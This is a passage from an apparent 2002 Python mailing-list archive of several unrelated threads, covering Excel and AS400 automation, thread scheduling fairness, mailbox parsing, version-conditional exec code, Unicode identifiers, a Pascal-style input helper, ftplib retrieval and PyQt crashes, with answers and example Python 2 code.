finnxlpol. (When stopper = 5). Finnxlpol: Find the next policynumber in Excel. These are located in the A collumn. When there are no more policynumbers, set stopper = 5, so accountcurrentstest can stop the whole thing. finnpolicy: Find the policy that finnxlpol returned in the As400 display. skriv: When finnpolicy has found the correct line, get the amount info from Excel, and paste it into the AS400 display. When this is done, the whole process should start again. The 3 last tasks works ok. I can run them, and they do what I want them to do. My problem is the first one. How can I get the accountcurrentstest to run the others? Well, actually it runs the others, but there always ends up being errors. Like xlrow is not defined. Even thought I tried with a config.py file that contained 'pass' and then wrote config.xlrow and so forth it didn't work. I have tried writing global in front of all variables, and it didn't work either. I have rewritten the thing probably 20 times, but it will not work. (I know that the accountcurrentstest will not work with the code I have now, but I have tried to take one step at a time, and include more and more of what I want. But, it stops in the start, and this is where I am now.) Could anyone give me a little hint about how I can fix this problem? Thanks a lot in advance...... ----------- from win32com.client import Dispatch import finnxlpol import skriv import finnpolicy import config class accountcurrentstest: xl = Dispatch("Excel.Application") ex = Dispatch("Extra.System") stopper = 0 xlrow = 1 xlcol = 1 global exrow exrow = 15 excol = 4 polchar = 10 xl.Workbooks.Open(Filename='H:\\My documents\\account currents test.xls') xlBook = xl.Workbooks(1) xlSheet = xl.Sheets(1) while stopper != 5: xlpol2 = finnxlpol.xlpol() print xlpol2 stopper = 5 ------------------- from win32com.client import Dispatch class finnxlpol(): xl = Dispatch("Excel.Application") ex = Dispatch("Extra.System") xlBook = xl.Workbooks(1) xlSheet = xl.Sheets(1) xlrow = 1 + xlrow xlpol = xlSheet.Cells(xlrow, 1).Value if xlSheet.Cells(xlrow, 1).Value == None: stopper = 5 -------------------- from win32com.client import Dispatch def finnpolicy(): ex = Dispatch("Extra.System") expol = ex.ActiveSession.Screen.GetString(exrow, excol, polchar) exrow = 13 while expol != xlpol: exrow = exrow + 1 expol = ex.ActiveSession.Screen.GetString(exrow, excol, polchar) print expol, exrow if exrow > 21: ex.ActiveSession.Screen.SendKeys("") exrow = 13 ----------------------- from win32com.client import Dispatch def skriv(): xl = Dispatch("Excel.Application") ex = Dispatch("Extra.System") xlBook = xl.Workbooks(1) xlSheet = xl.Sheets(1) xlamount = xlSheet.Cells(xlrow, 3).Value ex.ActiveSession.Screen.Select(exrow, 66, exrow, 76) ex.ActiveSession.Screen.Paste() From cliechti at gmx.net Thu May 23 15:50:37 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 21:50:37 +0200 Subject: trying to parse to Excel... References: <9013d0b4.0205231133.70b58257@posting.google.com> Message-ID: btjenkins at att.net (Ben) wrote in news:9013d0b4.0205231133.70b58257 at posting.google.com: > I am trying to create a simple script that will open a file (based > upon date) in a default directory and convert it to an Excel > spreadsheet. This file will contain hundreds of lines of text - each > line will have approximately 18 items separated by commas. > > This is the code I have developed so far: > from win32com.client import Dispatch > import string, sys > > xlApp = Dispatch("Excel.Application") > xlApp.Visible = 1 > xlApp.Workbooks.Add() > > file=open("Test.txt", "r") > lines=file.readlines() > file.close() > x=1 > y=1 > for line in lines: > parms=string.split(line, ",") > parms[0] this line above does nothing, just leave it away. > for i in xrange(18): > xlApp.ActiveWorkbook.ActiveSheet.Cells(x,y).Value = parms[i] why not use i as counter in .Cells(i,y) (and maybe rename it to x, read below) > y=y+1 > x=x+1 > y=1 is it because your reseting the y counter each time? from your descripion below i would expect the use of x and y the other way round (x counts columns but in your code it counts the rows/lines from the file) > The script finds the file, opens Excel and populates the first row. > BUT, it does not continue to loop through the file and populate the > other rows. I am relatively new to Python and would appreciate any > advice that you may have. Should you need additional information, > please let me know. i suppose you're learning python and do this for education... because excel could very well read your file directly. chris -- Chris From tim.one at comcast.net Sat May 18 21:08:55 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 18 May 2002 21:08:55 -0400 Subject: Threading unfairness In-Reply-To: <20020518135440.2621.h004.c000.wm@mail.kimball.net.criticalpath.net> Message-ID: [Matt Kimball] > While writing some multithreaded GUI code with ActivePython 2.2.1 > under Windows XP, on a single processor machine, and I noticed that > my user-interface thread was very unresponsive when I had a background > computation thread going. This annoyed me. It seemed like the main > thread where the GUI code was running was being starved of CPU time. It can be very difficult to sort things like that out. > Since there doesn't seem to be any way to set thread priorities > with Python, There is not. And it wouldn't help if there were <0.5 wink>. > I "fixed" the problem with inserting frequent 'time.sleep(0)' calls > in my compute-intensive thread, and that seemed to give my main GUI > thread more time to execute when a user-interface event occurred. That works on Windows because the underlying Win32 API Sleep() call takes an argument of 0 as *meaning* "yield the timeslice". On other OSes it may or may not work. For example, people playing this trick on Solaris usually use time.sleep(0.01) instead, because time.sleep(0) is a nop there. > However, it got me wondering just how bad the situation was, so I > wrote a simple program to test Python threads, and find the maximum > time that individual threads go without getting any CPU time. > Interestingly, the problem seems worse with a low number of threads. > ... > The code I used to measure this is at > http://matt.kimball.net/test_thread.py -- > Maybe someone wants to look it over to make sure I'm not doing > anything funny, and run a few tests on other operating systems to see > how they differ. Sorry, I had too much trouble understanding the code, so wrote a different driver that seems to me much simpler and more informative. See attached. Here's a typical run on Win98SE, after killing most background processes (note: that's important -- Python isn't the OS, and has no control over when the OS decides to boot your program to run some other task): With span 1.0 and 1 threads: tid 0 meangap 0.01 maxgap 47.98 ms at iter 2313 of 103305 With span 1.0 and 2 threads: tid 0 meangap 0.04 maxgap 12.41 ms at iter 22985 of 22985 tid 1 meangap 0.05 maxgap 15.06 ms at iter 18494 of 22079 With span 1.0 and 3 threads: tid 0 meangap 0.07 maxgap 0.73 ms at iter 517 of 14530 tid 1 meangap 0.07 maxgap 1.02 ms at iter 14018 of 14101 tid 2 meangap 0.07 maxgap 1.02 ms at iter 14013 of 14107 With span 1.0 and 4 threads: tid 0 meangap 0.09 maxgap 1.06 ms at iter 298 of 10765 tid 1 meangap 0.10 maxgap 1.04 ms at iter 10475 of 10506 tid 2 meangap 0.10 maxgap 1.05 ms at iter 10469 of 10513 tid 3 meangap 0.10 maxgap 0.94 ms at iter 10461 of 10509 With span 1.0 and 5 threads: tid 0 meangap 0.11 maxgap 1.08 ms at iter 2550 of 8853 tid 1 meangap 0.12 maxgap 1.11 ms at iter 4399 of 8422 tid 2 meangap 0.12 maxgap 1.08 ms at iter 2074 of 8425 tid 3 meangap 0.12 maxgap 1.11 ms at iter 8385 of 8424 tid 4 meangap 0.12 maxgap 1.00 ms at iter 8379 of 8425 With span 1.0 and 6 threads: tid 0 meangap 0.13 maxgap 1.39 ms at iter 5312 of 7646 tid 1 meangap 0.14 maxgap 1.50 ms at iter 6894 of 6970 tid 2 meangap 0.14 maxgap 1.31 ms at iter 746 of 6972 tid 3 meangap 0.14 maxgap 1.53 ms at iter 6883 of 6972 tid 4 meangap 0.14 maxgap 1.31 ms at iter 6509 of 6971 tid 5 meangap 0.14 maxgap 1.39 ms at iter 729 of 6971 With span 1.0 and 7 threads: tid 0 meangap 0.16 maxgap 1.61 ms at iter 1396 of 6213 tid 1 meangap 0.17 maxgap 1.56 ms at iter 2792 of 5981 tid 2 meangap 0.17 maxgap 1.60 ms at iter 2786 of 5982 tid 3 meangap 0.17 maxgap 1.52 ms at iter 1136 of 5982 tid 4 meangap 0.17 maxgap 1.66 ms at iter 1130 of 5981 tid 5 meangap 0.17 maxgap 1.57 ms at iter 1126 of 5980 tid 6 meangap 0.17 maxgap 1.56 ms at iter 2765 of 5978 Note the gap times are measured in milliseconds here, not seconds. The worst gap was less than 50ms, which isn't noticeable to most people. Note that the iterations at which the max gaps occur tend to cluster: this is evidence that *all* threads in the program are getting booted, due to the OS giving some other process a chance to run. WRT other platforms: 1. This will probably print gaps of 0. time.clock() has extraordinarily fine resolution on Windows (finer than microsecond). On other platforms, change the "now" import to use "time" instead of "clock". 2. Of all the OSes I've futzed with, Windows flavors are actually the best-behaved in this sense wrt threads: Windows is much happier to switch threads frequently than other OSes. Since typical Windows apps are thread-happy GUI programs, this probably isn't an accident. > I think this behavior is probably highly operating system > dependent. Extremely, yes. > The python interpreter is assuming the OS will do something reasonably > fair when it gives up the global interpreter lock, Python isn't assuming anything here. "It's a feature" that Python thread behavior reflects your native thread behavior; Python isn't trying to be an operating system. > ... > Still, it would be nice if something could be done to make > threading execution more fair, As the output above shows, scheduling is very fair on Win98SE, except for slightly favoring the first thread spawned (tid 0 always got to do more iterations of its loop than the other tids, while the number of iterations the other tids got to do are amazingly close to each other). > but I'm not sure how to do this without creating some sort of > scheduler in the python interpreter itself. It wouldn't work -- Python can't tell the OS kernel how to schedule. You may be able to *influence* that via piles of platform-specific extension modules. BTW, XP may have a slider or swtich buried in one of the Control Panel applets to influence whether foreground processes get preference in scheduling (I can't remember, and don't have XP here now). > ... > Is the problem as bad under other operating systems? Probably worse. > Am I insane to try to do anything in the neighborhood of > soft-realtime with Python? Start with a soft-realtime OS. After spending a few miserable weeks on it, you'll probably find that the apparent unfairness in your GUI app is a shallow problem after all <0.9 wink>. threads-are-a-hoot-ly y'rs - tim import threading from time import clock as now SPAN = 1.0 MAXTHREADS = 100 maxgap = [None] * MAXTHREADS meangap = [None] * MAXTHREADS maxiter = [None] * MAXTHREADS totalit = [None] * MAXTHREADS def busy_thread(index): maxgap[index] = -1.0 current = last = now() finish = current + SPAN i = 0 totalgaps = 0.0 while current <= finish: current = now() i += 1 delta = current - last totalgaps += delta if delta > maxgap[index]: maxgap[index] = delta maxiter[index] = i last = current totalit[index] = i meangap[index] = totalgaps / i def drive(nthreads): threads = [threading.Thread(target=busy_thread, args=(i,)) for i in range(nthreads)] for t in threads: t.start() for t in threads: t.join() print "With span", SPAN, "and", nthreads, "threads:" for i in range(nthreads): print ("tid %3d meangap %6.2f maxgap %6.2f ms " " at iter %6d of %6d" % (i, meangap[i] * 1000, maxgap[i] * 1000, maxiter[i], totalit[i])) print for i in range(1, 8): drive(i) From martin at v.loewis.de Sat May 18 06:06:45 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 18 May 2002 12:06:45 +0200 Subject: -lModules -lPython -lObjects -lParser References: Message-ID: Anton Graph <""aglyport\"@n-o.s,p/a__m.yahoo.com> writes: > Btw, whatever happened to Modules Python Objects Parser quadruplet? > Was it replaced by the pythonX.Y lib? Yes; that happened in Python 1.5, I believe. > And why is config file a part of that lib now? Because the build process combines essentially all objects; libpython is linked to main. Does this cause problems? Regards, Martin From bdash at gmx.net Wed May 22 02:15:39 2002 From: bdash at gmx.net (Mark Rowe) Date: Wed, 22 May 2002 18:15:39 +1200 Subject: error using mailbox References: Message-ID: <3CEB378B.3070803@gmx.net> David Bear wrote: >Have python 2.1 installed on caldera open linux -- python 1.5 is also >installed but all my symlink point to 2.1. I'm attempting to using the >mailbox module and am getting the following: > >Traceback (most recent call last): > File "./unixmail.py", line 8, in ? > msg = mb.next() > File "/usr/local/lib/python2.1/mailbox.py", line 19, in next > self.fp.seek(self.seekp) >AttributeError: seek > >my code is straight from the psl 2.0 book by oreilly.. > >#!/usr/local/bin/python ># psl2.0 p 156 >import mailbox > >mb = mailbox.UnixMailbox("syslog/npcenter") > >while 1: > msg = mb.next() > if not msg: > break > for k, v in msg.items(): > print k, "=", v > body = msg.fp.read() > print body > >Aside from the book is wrong, mailbox takes a file name rather than a file >object, the code is exact. Any reason I'm getting the attribute error? > > > Hello, The UnixMailbox constructor expects an open file object as its parameter, so you should call it like mb = mailbox.UnixMailbox(open("syslog/npcenter")) Mark Rowe From pyth at devel.trillke.net Tue May 14 10:47:18 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 16:47:18 +0200 Subject: #ifdef like question. In-Reply-To: <7647A9F4B298E74DB6793865DA67285004B348@exchange.adrembi.com>; from romany@actimize.com on Tue, May 14, 2002 at 05:37:46PM +0200 References: <7647A9F4B298E74DB6793865DA67285004B348@exchange.adrembi.com> Message-ID: <20020514164718.N28033@prim.han.de> Roman Yakovenko wrote: > Well, it's really dirty way to do it. > > Guys don't you think that we have some nice method to solve this problem ? install python2.2 everywhere :-) > The problem: writing code using new futures( like generators, ...) > and code with the same functionality ( interface ) but using old methods. > > There are a few solutions: > 1. Install time. Not good, because of for this you will need something like 3 files, > for almost every use of something from future > 2. To right the code like this one. i am afraid this pretty much sums it up. Is there no way you can require python2.2 ? holger > -----Original Message----- > From: holger krekel [mailto:pyth at devel.trillke.net] > Sent: Tuesday, May 14, 2002 4:24 PM > To: Roman Yakovenko > Cc: python-list at python.org > Subject: Re: #ifdef like question. > > Roman Yakovenko wrote: > > Thanks for the help. I don't like the first version( I knew that I could implement it this way). > > The reason is simple if for each class \ function I will have 3 files than I'd rather will not use > > futures. So I'd like to see the second way. Even if it will be some dirty method. > > I'll pay attention to comments. > > i understand and share your oppinion. ok, then. > let's make it as cleanly as possible. You basically do: > > exec if_generators(""" > > # generator version > def func(): > yield 1 > yield 2 > > """, """ > > # non-generator version > def func(): > return [1,2] > > """) > > where if_generators is defined like this: > > def if_generators(newway,oldway): > import sys > version=(int(sys.version[0]),int(sys.version[2])) > if version >= (2,2): > execstring = 'from __future__ import generators\nif 1:\n'+newway > else: > execstring = 'if 1:\n'+oldway > return execstring > > this works from python-version 1.5 onwards. > > Some points: > > - You can use the exec-statement inside class definitions for > methods as well. the 'if 1:' is there to allow nicer > identation. Otherwiese statements would have to start > at column 0. > > - execing a string constructs a new parsing-tree. > The restriction for 'from __future__ ...' is that > it must appear at the top of parsing tree, not at > the beginning of a module-file. > > - usually an imported module is byte-compiled in its place. > in the above case the exec-string will *always* be parsed > and compiled once at run-time. this hurts if you have short-lived > scripts that import your module. > > - when using multiple version of python with the same > script in the same location, bytecompiling will quickly > loose its purpose. This problem is not specific > to the given example but applies to any such script, though. > > - some people rightfully argue that doing 'exec str' > should be avoided in favor of 'exec str in g,l' or > getting rid of it alltogether. But I don't see other sane ways > of achieving our goal. Maybe the person in question is reading > this and comments :-) > > have fun, > > holger > > > -- > http://mail.python.org/mailman/listinfo/python-list From johnroth at ameritech.net Sat May 11 07:54:34 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 11 May 2002 07:54:34 -0400 Subject: Multibyte Character Surport for Python References: Message-ID: "Chris Liechti" wrote in message news:Xns920B1EE5D2091cliechtigmxnet at 62.2.16.82... > "John Roth" wrote in > news:udol0hpg2g9gf7 at news.supernews.com: > > > "Martin v. Loewis" wrote in message > > news:m3wuucbjlb.fsf at mira.informatik.hu-berlin.de... > >> Erno Kuusela writes: > >> > >> > | You mean, non-english-speaking people are prevented from using > > FORTRAN > >> > | and C? Can you name someone specifically? I don't know any such > > person. > >> > > >> > i don't know such people either. but since many people only know > >> > languages that aren't written in ascii, it seems fairly probable > > that > >> > they exist. > >> > >> I really question this claim. Most people that develop software (or > >> would be interested in doing so) will learn the latin alphabet at > >> school - even if they don't learn to speak English well. > > > > The trouble is that while almost all of the languages used in the > > Americas, Australia and Western Europe are based on > > the Latin alphabet, that isn't true in the rest of the world, and > > even then, it gets uncomfortable if your particular language's > > diacritical marks aren't supported. You can't do really good, > > descriptive names. > > > > And good, descriptive names are one of the bedrocks of > > good software. > > true, but how i'm supposed to use the nice chinese module which uses class > names i can't even type on my keyboard? > > [...] > > 3. There must be a complete set of syntax words in each > > supported language. That is, words such as 'and', 'or', 'if', 'else' > > All such syntax words in a particular module must come from the > > same language. > > uff, this sounds evil to me. this means i could write "wenn" for an "if" in > german etc.? that would effectively downgrade python to a beginners only > language because the diffrent addon modules you find on the net are just a > chaotic language mix, unusable for a commercial project. Not what I meant at all. The compiled byte code would be identical, and presumably the compiler would recognize each of the sets, so you could use any module you found anywhere. > many modules on the net would not work in your language or if they would at > least execute you would still unable to look at the sourcecode, extend it, > understand it (ok it would solve the obfuscated code questions that show up > from time to time ;-). Translating a module's syntax words from one language to another is dead easy. If it's an issue (and I agree that it most likely will be one) a syntax aware editor should do it on the fly. > we like open source, don't we? but if there were such many language > variants it became very difficult to work together. > > if you say now that if one intends to make a module public, one could aways > choose to write it in english, i don't think thats a good argument. many > modules start as a private project, a quick hack etc. but then they're made > public. look at Alex's post for more good arguments... > > > > 4. All syntax words are preceeded by a special character, which > > is not presented to the viewer by Python 3.0 aware tools. Instead, > > the special character is used to pick them out and highlight them. > > The reason for this is that the vocabulary of syntax words can then > > be expanded without impacting existing programs - they are > > effectively from a different name space. > > goodbye editing with a simple editor... of course you would also like to > introduce the possibility to write from the right to left and vertical. > > i can see your good intention but i doubt that this leads to a better > programming language. > > chris > > -- > Chris > From ak at silmarill.org Fri May 24 23:05:32 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Sat, 25 May 2002 03:05:32 GMT Subject: Emulating Pascal input References: Message-ID: In article , Michael Williams wrote: > Hi, > > We're currently running a trial implementation of a teaching course in > Python here at the University of Oxford Physics department. The current > course uses Pascal and, although it works well, is obviously sub-optimal > for a modern undergraduate education. > > Details of the results of the trial will be posted to EDU-sig when it is > complete, but for now we're trying to address what we see as a > limitation of Python for introductory programming, namely input. > > Consider the following Pascal code: > > (******** Pascal code **********) > (* Pascal ascii input of numbers: stdin and file *) > readln(x, y); > readln(fin, x, y); > > The first line is for stdin, the second for from file. The variables > x and y will then contain the first two white space separated numbers > the program encounters when that function is called. > > Here's how we're currently getting students to do the equivalent in > Python: > > ######### Python code ########### > # Either: stdin > linestring = raw_input() > > # Or: file > linestring = f.readline() > > linelist = string.split(linestring) > x = int(linelist[0]) > y = int(linelist[1]) > > # Or perhaps > linestring = raw_input() > x,y = string.split(linestring) # x and y are now strings eg. '1' > # and '2' > x = int(x) > y = int(y) > > Having read through the many threads on this topic on comp.lang.python I > realise and understand that modern programs' input generally requires > thought and customization from the program author. However, we strongly > feel there should be an equivalent to Pascal's readln (which is > basically C's scanf but without the formatting strings) for simple, > generally numerical, whitespace-separated input. > > In the two weeks out trial has been running (one to go), students' > attempts to read in simple two column tables from a file has > consistently caused problems due to the (relative!) complexity of string > splitting. > > However, There is no need for a scanf (if your input is sufficiently > complex to require formatting strings then either string or regex > splitting is definitely a more elegant solution). > > I have been attempting to write such a function in Python but have been > struggling with (a) the lack of pointers, and (b) my total ignoarnce of > classes, which I suspect would be helpful. Here's what I have so far > (although note there is no error handling--give it a string response and > it falls over and dies, give it the wrong number of responses and it > falls over and dies, etc., etc.): > > ############ ninput.py ############ > > import string > > def ninput(n, fin = None, prompt = '', sep = None): > > # If not file input then get string from stdin, else get from file > if fin == None: linestring = raw_input(prompt) > else: linestring = fin.readline() > > # Split up into list with optional seperator argument > responses = string.split(linestring, sep) > > for i in range(len(responses)): > if '.' in responses[i] or 'e' in responses[i] or \ > 'E' in responses[i]: > # i.e. if it looks like a float > responses[i] = float(responses[i]) > else: > # i.e if it doesn't look like a float > responses[i] = int(responses[i]) > > # If there was only one response then don't return a list. > if len(responses) == 1: responses = responses[0] > > return responses[:n] > > #################################### > > And here is a usage example: >>>> x, y = ninput(2) > 5 6.0 >>>> print x, type(x) > 5 >>>> print y, type(y) > 6.0 > Here's my implementation: # Note def. args should follow equal sign without a space def n(f=None, prompt='> ', sep=' '): """Read in and convert properly some number of numeric variables. """ if not f: line = raw_input(prompt) else: line = f.readline() vals = line.split(sep) newvals = [] for val in vals: try: val = int(val) except ValueError: val = float(val) newvals.append(val) if len(newvals) == 1: return newvals[0] else: return newvals >>> x = test.n() > 5 >>> x 5 >>> x = test.n() > 5 10 >>> x [5, 10] >>> x, z ([5, 10], 101) >>> x, z = test.n() > 5 Traceback (most recent call last): File "", line 1, in ? TypeError: unpack non-sequence >>> x, z = test.n() > 5 5 10 Traceback (most recent call last): File "", line 1, in ? ValueError: unpack list of wrong size The only part where it's worse than pascal version is that if you ask for one var but enter more than one you'll get a list instead of an error. But I don't think it's a big deal because you'll see immediately you've got a list. I'm pretty sure something like this won't make it into standart distribution because it's a niche function. It simply don't belong there. I never used Pascal but afaik it was specifically created for the education niche; Python is an omnivore. It *does* belong in a python directory like Vaults of Parnassus at www.vaults.ca or could be included in some sort of educational package. HTH, - Andrei > > This has the limitation that the user must pass the number of results > they expect back. This is done implicitly in the Pascal version too (the > number of variables passed to the function). However, error checking is > difficult as this version stands. > > If the student using the ninput function does, e.g. > >>>> x = ninput(2) > 5 6.0 > [5, 6.0] > > This is possibly what should be expected. However, passing the numerical > argument representing the number of results expected does not strike me > as a particularly graceful solution. We would prefer something like the > Pascal way, where the global variables in which the results are to be > stored are passed as parameters. Can anyone suggest a way of doing this? > > And if such an equivalent to the Pascal construct was implemented, what > would be the chances of getting it included in, say, the string module > of core Python. We would like such a function but would be reluctant to > use it as we would then be teaching our students a ``dialect'' of > Python. > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From hbl at st-andrews.ac.uk Thu May 2 11:49:53 2002 From: hbl at st-andrews.ac.uk (Hamish Lawson) Date: Thu, 02 May 2002 16:49:53 +0100 Subject: Resources and non-exhausted generators References: Message-ID: <3CD16021.F9BD570C@st-andrews.ac.uk> Sean 'Shaleh' Perry wrote: > > ... (with probably also an explicit method for allowing this to be > > done earlier than object destruction). ... > > 'del object' will do it earlier (-: Using del to delete a reference will indeed increase the likelihood that the referenced object will be destroyed earlier. I was allowing for the fact that this is only an increased likelihood and not a certainty, since the object's destruction (and hence the call of __del__) may not happen immediately upon the disapperance of the last reference. Hamish From kragen at pobox.com Mon May 13 13:59:26 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 13:59:26 -0400 Subject: Tkinter Configuration References: Message-ID: <83sn4wkjy9.fsf@panacea.canonical.org> "Bohr, Mike" writes: > Ohhh, I realy hate days like this... > I've no _tkinter.so . Where can I get it? The message to which you were replying explains how to create them. From merman at freenet.de Sat May 18 10:53:11 2002 From: merman at freenet.de (merman) Date: Sat, 18 May 2002 16:53:11 +0200 Subject: newbie-question: overloading methods References: <3ce645b7$0$23712$9b622d9e@news.freenet.de> Message-ID: <3ce667a0$0$14351$9b622d9e@news.freenet.de> > Does this help? Yes Emile - this helps! Thanx ;-). > >>> def test(arg1=None, arg2=None, arg3=None, *args, **kwargs): > ... print arg1, arg2, arg3, args, kwargs > ... > >>> test(1,2) > 1 2 None () {} > >>> test(1,2,3,4) > 1 2 3 (4,) {} > >>> test(1,2,3,4,5,helpmode=1) > 1 2 3 (4, 5) {'helpmode': 1} From mfranklin1 at gatwick.westerngeco.slb.com Thu May 16 05:54:06 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Thu, 16 May 2002 09:54:06 +0000 Subject: Page Hit Counter Vandalism & Writing FTP Results In-Reply-To: References: Message-ID: <200205160854.g4G8sHX05078@helios.gatwick.geco-prakla.slb.com> On Wednesday 15 May 2002 7:44 pm, Peter F. Ferris wrote: > > countff = str((ftp.retrlines('retr default.asp.cnt'))) > ftp.retrlines('retr default.asp.cnt') > print "countff var is: ", countff > Peter, pydoc ftplib ...... | retrlines(self, cmd, callback=None) | Retrieve data in line mode. | The argument is a RETR or LIST command. | The callback function (2nd argument) is called for each line, | with trailing CRLF stripped. This creates a new port for you. | print_line() is the default callback. print_line being a function in ftplib that errrr prints the line to stdout! so..... you need to use that second argument... somthing like data=[] # empty list to store your data in! # append method called for every 'line' in the remote file ftp.retrlines('retr default.asp.cnt', data.append) Cheers Martin From xsebbi at gmx.de Mon May 6 12:36:11 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Mon, 6 May 2002 18:36:11 +0200 Subject: [PyQt] Variable Message-ID: <200205061836.11857@xsebbi.de> Hi there, I've got an strange problem with python and PyQt. First, here is the source of the problem-part: class GUI(Basic,QVBox) #Basic contains some #basic program operations def __init__(self, master=None): qt.QVBox.__init__(self,master) self.text1 = qt.QLineEdit(self) self.text1 = qt.QLineEdit(self) add = qt.QPushButton("Add Entry",self,"add") add.setFont(qt.QFont("Arial",14)) qt.QObject.connect(add, qt.SIGNAL("clicked()"), \ self.process) def process(self): ulist=[] a= self.text1.text() b= self.text2.text() print a print b ulist.insert(0,a) ulist.insert(1,b) print ulist Ok, all went fine at runtime, but I can't access the variables properly. in process are a and b correct, but they can't be really good placed in 'ulist'! I get the something like that: [, ] But what do I'm wrong??? Could you help me, please? Thank you in advance, Sebastian From mjais at web.de Fri May 24 10:48:13 2002 From: mjais at web.de (Markus Jais) Date: Fri, 24 May 2002 16:48:13 +0200 Subject: New to Python... References: Message-ID: <7osH8.10$fT4.2381@news.ecrc.de> Ken wrote: > Hi, I am new to python. I am just wondering how different it is from C++? Python is often slower, but most of the time fast enough and it is much easier and more fun any you are much more productive with python than with C++ some differences: - Python has no Pointers - no need for memery management (python does is for you) - much better and more powerful standard library - more portable - regular expressions just try out python, you will like it After I learned Python and Ruby (http://www.ruby-lang.org) I do all my development in my freetime (at work we use C/C++, Perl) in Python und Ruby. > Also, how does python get mixed in with HTML to generate a webpage? > one way are Python Server Pages (PSP), similar to Java Server Pages (JSP) you can find it at http//webware.sf.net markus From m.hadfield at niwa.co.nz Wed May 8 17:14:51 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Thu, 9 May 2002 09:14:51 +1200 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <3CD955A1.43AE9120@jpl.nasa.gov> Message-ID: "Julia Bell" wrote in message news:3CD955A1.43AE9120 at jpl.nasa.gov... > If I use string.atoi(variable) or string.atof(variable), but > variable cannot be converted to an integer or float, I get an error. > I'm just learning about catching exceptions, so I think I could > figure out how to catch the error and do something appropriate if > that's the recommended approach. But, is there a better way > (perform the test before trying to do the conversion)? Probably not. The Pythonic way of seeing if something is going to work is "try it and see" (and catch any exceptions). A Python guru (which I am not) could explain why this is the recommended approach, but as I understand it there are 2 reasons: - Exceptions are not expensive in Python. - If you are wondering whether some operation will work, it is very hard (especially in a dynamic language like Python) to anticipate all the conditions need to be satisfied. Trying the operation itself cuts to the heart of the matter. One other comment: instead of string.atoi(value) you can use int(value). It makes little difference in this case because the elements of sys.argv are guaranteed to be strings, but in another situation you want to allow the possibility that the value is already an integer, or some other non-string type that can be converted to an integer. -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From mtaylor at lowebroadway.com Sat May 4 11:51:16 2002 From: mtaylor at lowebroadway.com (Moray Taylor) Date: 4 May 2002 08:51:16 -0700 Subject: Please help! PyQt problems. Message-ID: Hi, I am having some serious grief with PyQT, my system is described below... Powerbook G4 550MHz, Yellow Dog Linux 2.2 PyQt 3.1 Qt 3.0.3 Sip 3.1 Python 2.2.1 All the software was compiled from source, no binaries, all compiled without fatal errors, just a couple of warnings, nothing unusual. The Qt examples work perfectly, however the PyQt ones do not, they all fail with either 'Segmentation fault', or sometimes, 'Illegal Instruction'. When I try using it with python interactivly, I get this far import qt import sys from qt import * a = QApplication(sys.argv) d = a.desktop() e = d.width() #The last line causes a segmentation fault. I have successfully used PyQt on both an x86 laptop, and SGI IRIX, with no real problems. I have tried compiling all components with various options, threading, no threading, g++ exceptions etc..., but it always fails in the same way. Please, please help me, failure is not an option. Please reply to mtaylor at lowebroadway.com as well as the newsgroup. Thanks very much in advance Moray From whisper at oz.net Wed May 22 15:57:35 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 12:57:35 -0700 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? In-Reply-To: Message-ID: If item 6.6 in the FAQ is any indication, it's a bit out of date... I thought the reason for such built-in functions like len was from an early point in Python's development when there where no classes? Isn't there a move afoot to do away with most built-ins? I personally prefer str.len() to len(str). David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Jarno J Virtanen > Sent: Wednesday, May 22, 2002 12:02 > To: python-list at python.org > Subject: Re: Why does Python mix OO concepts and non OO concepts for > operation s on basic types? > > > Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: > > > > Why do you say x = []; x.append('a'), but get the length with len(a) ? > > > > Is there a reason for this sort of inconsistency? > > why not check the FAQ? > > http://www.python.org/cgi-bin/faqw.py?req=all#6.5 > -- > http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Mon May 13 05:55:18 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 09:55:18 GMT Subject: currying at language level (was: Re: add_command) References: Message-ID: holger krekel wrote: ... >> def curry(func, *args, **kwds): >> def curried(f=func, a=args, k=kwds): >> return apply(f, a, k) >> return curried > > Alex, what do you think about integrating the > currying-concept into python's syntax like so: I'd love to have built-in currying, but the syntax sugar you propose is clearly too limited (e.g., how does it apply to keyword-arguments?) and doubtful in several ways (is currying important enough to deserve special syntax, and, if so, what is the right sugar for it?). A more sensible, gradualistic approach might be to look for consensus on the exact functionality that can be encapsulated in a built-in, or even as a curry function that might be part of a new FP module -- _that_ one we might stand a chance to get into the standard library, perhaps. If and when currying becomes so popular as to deserve its own special syntax sugar, then it may be a better time to debate the details of that sugar. > IMHO currying is a well-understood concept It sure is _in a specific way_, the one analyzed and widely used by Dr Haskell Curry: applying a function f (which you could consider an "N-argument function" in traditional terms) to an argument a to yield a new anonymous function which you could consider an "N-1 argument function" in traditional terms. But this doesn't mean we know exactly what should be done in presence of named/optional arguments and other cases of variadic functions. "Currying the 1st and 3rd args of a 3-argument functions" is also a somewhat unexplored realm AFAIK. Alex From paul at boddie.net Mon May 13 13:34:40 2002 From: paul at boddie.net (Paul Boddie) Date: 13 May 2002 10:34:40 -0700 Subject: Python Enterprise Objects References: Message-ID: <23891c90.0205130934.73933b39@posting.google.com> brueckd at tbye.com wrote in message news:... > On 9 May 2002, Paul Boddie wrote: > > > At some point, I'll work on and upload the Python vs. J2EE comparison > > document I was writing. > > Please do! Alright, here it is: http://www.boddie.org.uk/python/web_modules_enterprise.html It's obviously incomplete, and the information is rather similar to what I presented earlier in this thread, but it's a start. Feedback is welcome to the usual address. 